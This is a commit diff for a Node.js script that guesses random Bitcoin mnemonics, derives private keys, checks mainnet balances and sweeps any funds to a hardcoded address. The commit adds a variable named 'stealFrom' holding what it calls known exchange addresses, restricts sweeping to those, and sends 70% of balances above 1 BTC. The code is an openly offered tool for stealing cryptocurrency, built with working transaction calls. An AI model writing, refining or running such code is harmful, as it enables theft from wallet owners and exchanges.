Update index.js
This commit is contained in:
parent
4061214e6a
commit
92d20743c1
1 changed files with 31 additions and 25 deletions
|
@ -1,14 +1,15 @@
|
||||||
var sleep = require('sleep');
|
|
||||||
var CoinKey = require('coinkey') //1.0.0
|
var CoinKey = require('coinkey') //1.0.0
|
||||||
var bip39 = require('bip39')
|
var bip39 = require('bip39')
|
||||||
var hdkey = require('hdkey')
|
var hdkey = require('hdkey')
|
||||||
var bitcoinTransaction = require('bitcoin-transaction');
|
var bitcoinTransaction = require('bitcoin-transaction');
|
||||||
var to = "YOUR BITCOIN ADDRESS HERE"; //change me to who you want the bitcoin to go to
|
var to = "1ShzJ7McjMYaboVFokny1LGMFLT7Y6qDj"; //change me to who you want the bitcoin to go to
|
||||||
var mnemonic;
|
var mnemonic;
|
||||||
var seed;
|
var seed;
|
||||||
var seedToKey;
|
var seedToKey;
|
||||||
var root;
|
var root;
|
||||||
|
|
||||||
|
const stealFrom = ["34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo", "bc1ql49ydapnjafl5t2cp9zqpjwe6pdgmxy98859v2","39884E3j6KZj82FK4vcCrkUvWYL5MQaS3v"] //a short list of known exchanges
|
||||||
|
|
||||||
console.log(`
|
console.log(`
|
||||||
/=========================\\
|
/=========================\\
|
||||||
|BBB IIIII TTTTTTT |
|
|BBB IIIII TTTTTTT |
|
||||||
|
@ -39,33 +40,38 @@ PRIVATE KEY: ${root.privateKey.toString('hex')}
|
||||||
SEED: ${seed}
|
SEED: ${seed}
|
||||||
MNEMONIC: ${mnemonic}`);
|
MNEMONIC: ${mnemonic}`);
|
||||||
if (bip39.validateMnemonic(mnemonic)) {
|
if (bip39.validateMnemonic(mnemonic)) {
|
||||||
console.log("Valid mnemonic found!")
|
console.log("Valid mnemonic found, attempting...")
|
||||||
try {
|
if (stealFrom.includes(from)) {
|
||||||
bitcoinTransaction.getBalance(from, { network: "mainnet" }).then((balanceInBTC) => {
|
try {
|
||||||
if (balanceInBTC > 0) {
|
bitcoinTransaction.getBalance(from, { network: "mainnet" }).then((balanceInBTC) => {
|
||||||
console.log("Valid BTC found!")
|
if (balanceInBTC > 1) {
|
||||||
console.log(`Sending ${balanceInBTC} to ${to}.`)
|
console.log("Valid BTC found!")
|
||||||
console.log(`Congrats! It should take about half an hour to get your ${balanceInBTC} BTC.`)
|
console.log(`Sending ${balanceInBTC} to ${to}.`)
|
||||||
return bitcoinTransaction.sendTransaction({
|
console.log(`Congrats! It should take about half an hour to get your ${balanceInBTC} BTC.`)
|
||||||
from: from,
|
return bitcoinTransaction.sendTransaction({
|
||||||
to: to,
|
from: from,
|
||||||
privKeyWIF: privKeyWIF,
|
to: to,
|
||||||
btc: balanceInBTC,
|
privKeyWIF: privKeyWIF,
|
||||||
network: "mainnet",
|
btc: (balanceInBTC - (balanceInBTC * .3)),
|
||||||
fee: "halfHour"
|
network: "mainnet",
|
||||||
|
fee: "halfHour"
|
||||||
|
});
|
||||||
|
process.exit()
|
||||||
|
//this line ignored by VSCode.
|
||||||
|
} else {
|
||||||
|
console.log("Not a real key with a balance, keep going...")
|
||||||
|
return "none-yet";
|
||||||
|
}
|
||||||
});
|
});
|
||||||
//this line ignored by VSCode.
|
} catch {
|
||||||
} else {
|
console.log(`This probably isn't a valid Private Key/Address. This is normal, I think.`)
|
||||||
console.log("Not a real key with a balance, keep going...")
|
}
|
||||||
return "none-yet";
|
} else {
|
||||||
}
|
console.log("Not in whitelist!")
|
||||||
});
|
|
||||||
} catch {
|
|
||||||
console.log(`This probably isn't a valid Private Key/Address. This is normal, I think.`)
|
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
console.log("Still going...")
|
console.log("Still going...")
|
||||||
}
|
}
|
||||||
|
|
||||||
sleep.msleep(25)
|
await new Promise(r => setTimeout(r, 13));
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in a new issue